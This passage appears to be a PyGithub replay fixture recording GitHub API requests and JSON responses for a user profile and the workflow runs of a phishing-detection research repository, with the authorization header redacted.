ags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}}]} + +https +GET +api.github.com +None +/users/shahryarabaki +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"41eac0814954da003d4caa61d87eb4301827596dc7a117fd554c912dea4a376c"'), ('Last-Modified', 'Tue, 29 Sep 2020 03:18:45 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4911'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '89'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14B:0434:AF45A:125316:5F987C9D')] +{"login":"shahryarabaki","id":19786497,"node_id":"MDQ6VXNlcjE5Nzg2NDk3","avatar_url":"https://avatars3.githubusercontent.com/u/19786497?v=4","gravatar_id":"","url":"https://api.github.com/users/shahryarabaki","html_url":"https://github.com/shahryarabaki","followers_url":"https://api.github.com/users/shahryarabaki/followers","following_url":"https://api.github.com/users/shahryarabaki/following{/other_user}","gists_url":"https://api.github.com/users/shahryarabaki/gists{/gist_id}","starred_url":"https://api.github.com/users/shahryarabaki/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shahryarabaki/subscriptions","organizations_url":"https://api.github.com/users/shahryarabaki/orgs","repos_url":"https://api.github.com/users/shahryarabaki/repos","events_url":"https://api.github.com/users/shahryarabaki/events{/privacy}","received_events_url":"https://api.github.com/users/shahryarabaki/received_events","type":"User","site_admin":false,"name":"Shahryar Baki","company":"University of Houston","blog":"http://www2.cs.uh.edu/~shahryar/","location":"United State","email":"sh.baki@gmail.com","hireable":null,"bio":"Graduate Student at University of Houston","twitter_username":null,"public_repos":6,"public_gists":0,"followers":4,"following":0,"created_at":"2016-06-06T22:05:34Z","updated_at":"2020-09-29T03:18:45Z"} + +https +GET +api.github.com +None +/repos/ReDASers/Phishing-Detection/actions/runs?actor=shahryarabaki +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 27 Oct 2020 20:01:34 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b016648ce354ad15a2eb10ac00caace03a4af3f69bb46e1fd6f542f950731970"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4910'), ('X-RateLimit-Reset', '1603831065'), ('X-RateLimit-Used', '90'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F14C:1735:88A51:E7EEE:5F987C9E')] +{"total_count":3,"workflow_runs":[{"id":28372848,"node_id":"MDExOldvcmtmbG93UnVuMjgzNzI4NDg=","head_branch":"master","head_sha":"de9f59db7acd7c0916037eafbdbb145b3c1c2529","run_number":24,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":403444857,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU0MDM0NDQ4NTc=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/28372848","pull_requests":[],"created_at":"2020-01-16T04:37:43Z","updated_at":"2020-01-16T04:42:57Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/403444857","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/28372848/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"de9f59db7acd7c0916037eafbdbb145b3c1c2529","tree_id":"91e32ec11e07b66c52164271628453c0704ac2d5","message":"Force re-install of nose","timestamp":"2020-01-16T04:37:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":26754212,"node_id":"MDExOldvcmtmbG93UnVuMjY3NTQyMTI=","head_branch":"master","head_sha":"a8511f8d1c175332a8dd5c77df314ac2a3557771","run_number":10,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":399233799,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUzOTkyMzM3OTk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/26754212","pull_requests":[],"created_at":"2020-01-14T06:50:54Z","updated_at":"2020-01-14T06:55:26Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/399233799","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26754212/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a8511f8d1c175332a8dd5c77df314ac2a3557771","tree_id":"e0fc2b4f2eb107ebc4e431a257c02a4928f03c38","message":"Added github workflow to run unit tests","timestamp":"2020-01-14T03:14:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":26125138,"node_id":"MDExOldvcmtmbG93UnVuMjYxMjUxMzg=","head_branch":"master","head_sha":"a8511f8d1c175332a8dd5c77df314ac2a3557771","run_number":4,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":399033679,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUzOTkwMzM2Nzk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/26125138","pull_requests":[],"created_at":"2020-01-14T03:14:38Z","updated_at":"2020-01-14T03:18:58Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/399033679","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/26125138/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"a8511f8d1c175332a8dd5c77df314ac2a3557771","tree_id":"e0fc2b4f2eb107ebc4e431a257c02a4928f03c38","message":"Added github workflow to run unit tests","timestamp":"2020-01-14T03:14:35Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"Shahryar Baki","email":"sh.baki@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.co